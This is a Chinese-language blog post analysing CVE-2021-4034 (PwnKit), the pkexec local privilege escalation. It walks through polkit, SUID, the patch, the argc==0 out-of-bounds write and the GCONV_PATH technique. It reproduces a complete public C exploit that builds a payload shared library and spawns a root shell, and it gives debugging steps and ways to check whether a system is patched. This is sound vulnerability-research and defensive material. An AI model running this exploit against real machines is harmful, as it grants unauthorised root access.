CVE-2021-4034 pwnkit linux本地提权漏洞分析
fa1lr4in Lv2

CVE-2021-4034 pwnkit linux local privilege escalation vulnerability analysis

一、foreword

2022-01-25,Qualys发布CVE-2021-4034漏洞详情,并将其命名为pwnkit。该漏洞由于程序未对argv为0的情况做判断,导致越界读写,通过在argv后面传入envp的方式可以读写envp[0]的值,最终导致本地提权。

二、Pre-knowledge

2.1 polkit

Polkit 是一个应用程序级别的工具集,通过定义和审核权限规则,实现不同优先级进程间的通讯:控制决策集中在统一的框架之中,决定低优先级进程是否有权访问高优先级进程。

Polkit 在系统层级进行权限控制,提供了一个低优先级进程和高优先级进程进行通讯的系统。和 sudo 等程序不同,Polkit 并没有赋予进程完全的 root 权限,而是通过一个集中的策略系统进行更精细的授权。其系统架构由授权和身份验证代理组成,如下图所示:

4153611350

其中授权以基于system message bus上的服务实现,polkit没有取代系统已有的权限系统,而是在已有的群组和管理员上进行管控。如果开发时需要用到linux上的身份认证,可以基于polkit框架,编写rule授权规则实现。

而pkexec就是polkit中的一个组件,允许用户以另一个用户身份执行命令(用法类似于sudo):

1
2
3
4
5
└─# pkexec --help                                                                                                                                                                
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]

如果 PROGRAM未指定,将运行默认shell,如果username未指定,则程序将以管理超级用户root身份执行。

2.2 Polkit source installation

这里安装Polkit漏洞环境,参照了官方的源码编译流程,方便调试

1
2
3
4
5
6
git clone https://gitlab.freedesktop.org/polkit/polkit/
git reset --hard 4ff1abe4a4c1f8c8378b9eaddb0346ac6448abd8 # 漏洞修复的前一个版本
# git reset --hard a2bf5c9c83b6ae46cbd5c779d3055bff81ded683 # 漏洞修复的commit
meson setup install # 这里的install代表安装目录。这里可能要解决各种库的安装,建议做好虚拟机快照,否则容易被各种依赖搞崩溃。
meson compile -C install # 将编译的文件放入install目录中
meson install -C install # 应用到生产环境中

meson setup后会有如下的提示,如果出现该提示代表成功了

image-20220719142635354

在meson compile后可以在install目录下找到pkexec可执行文件,之后就可以进行源码调试了。

image-20220719142802510

2.3 suid

SUID (Set owner User ID up on execution) 是Linux中的一种特殊权限,其功能为用户运行某个程序时,如果该程序有SUID权限,那么程序运行为进程时,进程的属主不是发起者,而是程序文件所属的属主。但是SUID权限的设置只针对二进制可执行文件,对于非可执行文件设置SUID没有任何意义.

在执行过程中,调用者会暂时获得该文件的所有者权限,且该权限只在程序执行的过程中有效。 通俗的来讲,假设我们现在有一个可执行文件ls,其属主为root,当我们通过非root用户登录时,如果ls设置了SUID权限,我们可在非root用户下运行该二进制可执行文件,在执行文件时,该进程的权限将为root权限。

我们简单看一下如何设置SUID权限

1
2
chmod u+s filename   设置SUID位
chmod u-s filename 去掉SUID设置

ls -al查看文件权限

image-20220720104735325

1
chmod u+s 1

image-20220720104812541

可以看到1文件的权限描述符由-rwxr-x---变为-rwsr-x---,这代表该文件已经获得了suid权限。

三、Vulnerability Analysis

3.1 Patch Analysis

补丁链接: https://gitlab.freedesktop.org/polkit/polkit/-/commit/a2bf5c9c83b6ae46cbd5c779d3055bff81ded683

补丁对argc进行了校验,之后对argv的存在做了判断,如果存在对其进行写入,这里判断该漏洞可能利用了argc为0的情况,并越界写argv[n]导致内存溢出。

image-20220718170014163

image-20220718170048590

上面对补丁做了简单的分析,之后对漏洞的成因进行分析。

3.2 Root Cause Analysis

这里的根因分析主要参考了 https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txthttps://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt

上面已经提到过:pkexec允许用户以另一个用户身份执行PROGRAM。如果未指定 PROGRAM,则将运行默认 shell。如果未指定用户名,则程序将以 root 身份执行。

pkexec.c的 534-568行是pkexec处理命令行参数的代码,在 610-640 行代码中,会获取PROGRAM参数名称,也就是需要执行的程序。

image-20220719105731688

这里会存在一个问题,如果命令行参数 argc 的数量为 0( execve() 的 argv 参数为空,即 {NULL}),那么argv[0] 为 NULL。则会导致:

  1. 在第 534 行,整数 n 永久设置为 1;

  2. 在第 610 行,由于argv只有一个元素 argv[0], argv[1] 将会越界读取指针路径;

  3. 在第 639 行,指针 s 被越界写入 argv[1]。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
435 main (int argc, char *argv[]) 
436 {
...
534 for (n = 1; n < (guint ) argc; n++)
535 {
...
568 }
...
610 path = g_strdup (argv[n]);
...
629 if (path[0] != '/')
630 {
...
632 s = g_find_program_in_path (path);
...
639 argv[n] = path = s;
640 }

这时我们得到了一个越界读写,也就是argv[1]的位置,那么argv[1]是什么呢,先说结论,argv与envp的内存空间是紧邻的,也就是说argv的最后一个元素argv[lartest]与envp的第一个元素envp[0]内存空间相邻。内存布局如下:

1
2
3
|---------+---------+-----+------------|---------+---------+-----+------------| 
| argv[0] | argv[1] | ... | argv[argc] | envp[0] | envp[1] | ... | envp[envc] |
|----|----+----|----+-----+-----|------|----|----+----|----+-----+-----|------|

编写代码验证下,直接参考 saucerman师傅博客 的代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// a.c
#include <stdlib.h>
#include <stdio.h>

int main(int argc, char **argv, char** envp)
{
printf("argv[1]:%s\n", argv[1]);
}

// b.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char *argv[]) {

char *a_argv[]={ NULL };
char *a_envp[]={
"lol",
NULL
};
execve("./a", a_argv, a_envp);
}

image-20220719112328865

编译debug模式调试也可以验证,argv[lartest]与envp[0]的内存是紧邻的。

image-20220719112603267

顺着这个思路,再次回看代码

  1. 假设我们执行pkexec,此时argc={ NULL },envp={“xxx”}
  2. 610行,程序会读取argv[1]到path变量中,也就是”xxx”
  3. 632行,s = g_find_program_in_path (path)找到该程序的绝对路径,假设为/usr/bin/xxx
  4. 639行,程序将s写入argv[1]和path,从而覆盖了第一个环境变量。此时envp[0]也就变成了{“/usr/bin/xxx”}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
435 main (int argc, char *argv[]) 
436 {
...
534 for (n = 1; n < (guint ) argc; n++)
535 {
...
568 }
...
610 path = g_strdup (argv[n]);
...
629 if (path[0] != '/')
630 {
...
632 s = g_find_program_in_path (path);
...
639 argv[n] = path = s;
640 }

也就是说,这种越界写入允许我们将一个“不安全”的环境变量(例如,LD_PRELOAD)重新引入pkexec的环境。但是这个环境变量并不会存在太久,因为在702行,程序会清除所有的环境变量:

image-20220719114816552

3.3 Exploit

通过上面的分析可以得出,环境变量的生命周期存在于639行702行之间,也就是说我们在639行702行之间找出一段可以执行命令的代码即可完成漏洞利用(因为pkexec是默认具有suid权限的)。

我们关注到了g_printerr()函数。如果环境变量CHARSET不是UTF-8,g_printerr()将会调用glibc的函数iconv_open(),来将消息从UTF-8转换为另一种格式。iconv_open函数的执行过程为:iconv_open函数首先会找到系统提供的gconv-modules配置文件(可以通过GCONV_PATH环境变量指定的路径来寻找),这个文件中包含了各个字符集的相关信息存储的路径,每个字符集的相关信息存储在一个.so文件中,即gconv-modules文件提供了各个字符集的.so文件所在位置,之后会调用.so文件中的gconv()与gonv_init()函数。

如果我们改变了系统的GCONV_PATH环境变量,也就能改变gconv-modules配置文件的位置,从而执行一个恶意的so文件实现任意命令执行。

上面的过程刚刚接触可能比较难以理解,我们可以通过公开的exp来更加理解下这个漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
/*
* blasty-vs-pkexec.c -- by blasty <peter@haxx.in>
* ------------------------------------------------
* PoC for CVE-2021-4034, shout out to Qualys
*
* ctf quality exploit
*
* bla bla irresponsible disclosure
*
* -- blasty // 2022-01-25
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>

void fatal(char *f) {
perror(f);
exit(-1);
}

void compile_so() {
FILE *f = fopen("payload.c", "wb");
if (f == NULL) {
fatal("fopen");
}

char so_code[]=
"#include <stdio.h>\n"
"#include <stdlib.h>\n"
"#include <unistd.h>\n"
"void gconv() {\n"
" return;\n"
"}\n"
"void gconv_init() {\n"
" setuid(0); seteuid(0); setgid(0); setegid(0);\n"
" static char *a_argv[] = { \"sh\", NULL };\n"
" static char *a_envp[] = { \"PATH=/bin:/usr/bin:/sbin\", NULL };\n"
" execve(\"/bin/sh\", a_argv, a_envp);\n"
" exit(0);\n"
"}\n";

fwrite(so_code, strlen(so_code), 1, f);
fclose(f);

system("gcc -o payload.so -shared -fPIC payload.c");
}

int main(int argc, char *argv[]) {
struct stat st;
char *a_argv[]={ NULL };
char *a_envp[]={
"lol",
"PATH=GCONV_PATH=.",
"LC_MESSAGES=en_US.UTF-8",
"XAUTHORITY=../LOL",
"GIO_USE_VFS=",
NULL
};

printf("[~] compile helper..\n");
compile_so(); // 编译payload.c 为 payload.so

if (stat("GCONV_PATH=.", &st) < 0) {
if(mkdir("GCONV_PATH=.", 0777) < 0) {
fatal("mkdir");
}
int fd = open("GCONV_PATH=./lol", O_CREAT|O_RDWR, 0777);
if (fd < 0) {
fatal("open");
}
close(fd);
}

if (stat("lol", &st) < 0) {
if(mkdir("lol", 0777) < 0) {
fatal("mkdir");
}
FILE *fp = fopen("lol/gconv-modules", "wb");
if(fp == NULL) {
fatal("fopen");
}
fprintf(fp, "module UTF-8// INTERNAL ../payload 2\n");
fclose(fp);
}

printf("[~] maybe get shell now?\n");

execve("/usr/bin/pkexec", a_argv, a_envp);
}

该exp的流程大致为

  1. 编译payload.c 为 payload.so。
  2. 创建目录 GCONV_PATH=. 并在该目录中创建文件 lol
  3. 创建目录 lol 并在该目录中创建配置文件 gconv-modules ,之后在该文件中写入内容(该内容指定了生成的so文件)。
  4. 执行pkexec程序,不传入参数,传入一些特殊的环境变量。
  5. 反弹root shell

我们先将该exp编译执行

image-20220720113203384

之后我们通过调试该exp来更加理解该漏洞的利用技巧。

首先610行读取argv[1],实际上读取的是envp[0]。造成越界读取。

image-20220719165205934

629行如果传入的命令不是绝对路径,那么将会在632行调用 g_find_program_in_path 函数在 PATH 环境变量的目录里搜索。632行这里由于我们指定了环境变量PATH=GCONV_PATH=.,所以path将会被赋值为 GCONV_PATH=./lol

image-20220719165402306

这里会有一个疑问,为什么要通过PATH环境变量传入 GCONV_PATH=./lol。直接在第一个环境变量传入 GCONV_PATH=./lol不是更方便吗,经过网上学习师傅的文章以及动手实践得到了一个结论:某些敏感的环境变量将会被清除。

下面的两步调试基于在第一个环境变量传入 GCONV_PATH=./lol的代码(错误的exp代码)。调试过程如下,在execve执行过程中,GCONV_PATH 还没有被清除

image-20220720145728927

但是到达pkexec.c的main函数时,GCONV_PATH 已经被清除了

image-20220720145941472

image-20220720150042034

所以需要通过 PATH环境变量传入危险环境变量 GCONV_PATH

接下来回到正确的exp代码,639行 envp[0] 被赋值为GCONV_PATH=./lol

image-20220719165628022

670行后调用 validate_environment_variable 函数,此时的value 为 “en_US.UTF-8”

image-20220719171539755

这里可以拿到 GCONV_PATH 环境变量的值,也就是 gconv-modules 文件的路径。

image-20220719203655231

iconv_open函数会读取环境变量中的GCONV_PATH的路径下的gconv-modules文件。如下,gconv_conf_filename 为静态常量,名称固定为”gconv-modules”。

image-20220719204534761

image-20220719204608537

之后读取文件内容。

image-20220719201933242

获得module名称。

image-20220719202202612

最后就是执行的过程了

image-20220719210400585

这里的step_cnt 为0, result[0]为payload.so,执行里面的gconv_init即执行了恶意代码。

image-20220719211529231

image-20220719211556854

四、Summarize

该漏洞的主要成因为:代码没有考虑argc为0的情况而使argv从1开始遍历,而下面也读写了argv[1]触发越界读写。

该漏洞的利用方式为:由于argv与env内存相邻且argv[1]越界读写,可知argv[lartest](这个漏洞为argv[1])与env[0]为同一块内存。通过PATH指定了危险环境变量GCONV_PATH,再通过后面的代码逻辑将GCONV_PATH拼接到env[0]中从而绕过系统的危险环境变量清理过程。之后就是要利用GCONV_PATH这个环境变量,GCONV_PATH存放的是 gconv-modules 的路径,exp的思路是利用了g_printerr函数,通过一定的代码逻辑可以调用了 iconv_open,最终使用了GCONV_PATH目录下的 gconv-modules 指定的payload.so文件,完成代码执行。

该漏洞的修复也比较简单,取消pkexec的suid权限即可,或者更新补丁。

如何判断pkexec是否被修补了呢,可以通过IDA找到对应的位置,在pkexec的main函数

修补前

image-20220720161816877

修补后

image-20220720162102360

或者可以通过退出码辅助判断

修补前

image-20220720162140636

修补后

image-20220720162213928

可以看到修补后有退出码127,目的就是为了该漏洞做的判断

image-20220720162254380

在我们做实战攻防的过程中,如果不能判断机器是否能够用该漏洞提权,除了直接拿exp打,也可以通过逆向来判断。一是判断pkexec是否有suid,二是判断pkexec是否打了补丁。

  1. https://www.freedesktop.org/software/polkit/docs/latest/polkit.8.html # polkit Official Manual
  2. https://saucer-man.com/information_security/876.html # Vulnerability Analysis
  3. https://gitlab.freedesktop.org/polkit/polkit/-/commit/a2bf5c9c83b6ae46cbd5c779d3055bff81ded683 # Patch link
  4. https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt # Vulnerability details public
  5. https://en.wikipedia.org/wiki/Setuid # suid wikipedia
  6. https://xz.aliyun.com/t/10870#toc-2 # Vulnerability Analysis
  7. https://gitlab.freedesktop.org/polkit/polkit/ # polkit Source Code
 Comments